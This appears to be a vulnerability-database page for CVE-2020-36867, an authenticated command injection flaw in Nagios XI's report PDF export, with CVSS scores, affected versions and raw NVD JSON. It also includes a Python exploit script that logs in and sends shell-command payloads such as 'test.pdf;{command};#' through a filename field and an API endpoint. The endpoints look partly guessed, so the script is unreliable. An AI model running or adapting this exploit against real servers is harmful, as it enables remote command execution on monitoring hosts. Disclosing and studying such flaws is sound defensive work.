Security Vulnerability Report
中文
CVE-2020-36867 CVSS 8.8 HIGH

CVE-2020-36867

Published: 2025-10-30 22:15:40
Last Modified: 2025-11-05 18:23:28

Description

Nagios XI versions prior to 5.7.3 contain a command injection vulnerability in the report PDF download/export functionality. User-supplied values used in the PDF generation pipeline or the wrapper that invokes offline/pdf helper utilities were insufficiently validated or improperly escaped, allowing an authenticated attacker who can trigger PDF exports to inject shell metacharacters or arguments.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2020-36867 Nagios XI Command Injection PoC # Target: Nagios XI < 5.7.3 # Type: Authenticated Command Injection in PDF Export import requests import sys from urllib.parse import quote def exploit(target_url, username, password, command): """ Exploit CVE-2020-36867 by injecting command in PDF export functionality Args: target_url: Base URL of Nagios XI instance username: Valid username (low privilege is sufficient) password: Password for the user command: Command to execute on the target system """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } print(f"[*] Attempting login to {target_url}") response = session.post(login_url, data=login_data, verify=False) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Trigger PDF export with injected command # The vulnerability is in the report PDF export functionality # Inject command via filename or report title parameter pdf_export_url = f"{target_url}/nagiosxi/includes/components/nagioscore/export.php" # Encode the command for injection injected_payload = f"test.pdf;{command};#" export_data = { 'reporttype': 'custom', 'report': '1', 'output': 'pdf', 'filename': injected_payload, 'generate': 'Generate Report' } print(f"[*] Sending exploit payload: {injected_payload}") response = session.post(pdf_export_url, data=export_data, verify=False, timeout=30) print(f"[*] Response status: {response.status_code}") # Alternative exploitation via API endpoint api_url = f"{target_url}/nagiosxi/api/v1/resources/report" api_payload = { 'type': 'pdf', 'name': f"';{command};'", 'format': 'pdf' } print("[*] Trying alternative API endpoint") response = session.post(api_url, data=api_payload, verify=False, timeout=30) return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} https://nagios.example.com admin password 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36867", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.700", "lastModified": "2025-11-05T18:23:27.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.3 contain a command injection vulnerability in the report PDF download/export functionality. User-supplied values used in the PDF generation pipeline or the wrapper that invokes offline/pdf helper utilities were insufficiently validated or improperly escaped, allowing an authenticated attacker who can trigger PDF exports to inject shell metacharacters or arguments."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.3", "matchCriteriaId": "37718CFA-B578-4181-A28D-279698F6C644"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-command-injection-in-report-pdf-download", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}